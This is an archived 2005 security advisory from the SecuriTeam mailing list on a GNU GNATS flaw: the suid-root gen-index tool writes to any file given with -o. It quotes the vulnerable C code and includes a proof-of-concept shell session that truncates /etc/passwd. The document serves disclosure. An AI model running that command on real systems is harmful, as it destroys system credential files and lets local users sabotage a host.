

# [UNIX] GNATS Authentication Bypass Vulnerability

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0030.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 07/11/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 11 Jul 2005 13:10:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

GNATS Authentication Bypass Vulnerability

---

## SUMMARY

" <<http://www.gnu.org/software/gnats/>> GNU GNATS is a set of tools for tracking bugs reported by users to a central site."

GNATS allows attacker to overwrite files with suid root gen-index program.

## DETAILS

Vulnerable Systems:

- \* GNATS version 4.0
- \* GNATS version 4.1.0
- \* Probably all previous versions are also vulnerable.

Local users are able to execute gen-index without any user or group of gnat and overwrite any files in system when placing a suid for the program. The problem lies with gen-index main() function, which does not check argument who was given to the program with hard open and write there own data.

Vulnerable Code:

```
gnats/gen-index.c:  
int main (int argc, char **argv)
```

## Securiteam: [UNIX] GNATS Authentication Bypass Vulnerability

```
{
...
...

while ((optc = getopt_long (argc, argv, "o:hd:nVie",
                          long_options, (int *) 0)) != EOF)
{
  switch (optc)
  {
    ...
    ...
    case 'o':
      file_name = optarg;
      break;

    case 'n':
      numeric_sorting = TRUE;
      break;
    ...
    ...
  }
}

...
...

if (file_name)
  output = fopen (file_name, "w+");
if (output == (FILE *) NULL)
{
  fprintf (stderr, "%s: can't write to %s: %s\n", program_name,
          optarg, strerror (errno));
  exit (3);
}

...
...

if (indexIsBinary (database))
{
  char numFields = indexFieldCount (database);
  fwrite (&numFields, 1, 1, output);
}

...
...
if (numeric_sorting && num_entries > 0)
{
  qsort (entries, num_entries, sizeof (Entry), entry_cmp);
  for (i = 0; i < num_entries; i++)
  {
```

## Securiteam: [UNIX] GNATS Authentication Bypass Vulnerability

```
        fwrite (entries[i].string, 1, entries[i].length, output);
    }
}

fclose (output);
...
exit (0);
}
```

Function fopen() with argument "w+" open file for reading and writing. The file is created if it does not exist, otherwise it is truncated.

### Proof of Concept:

```
pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004
/usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
pi3@darkstar:~$
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:pi3ki31ny@wp.pl> Adam Zabrocki.

The original article can be found at:

<<http://www.pi3.int.pl/adv/gnats.txt>> <http://www.pi3.int.pl/adv/gnats.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.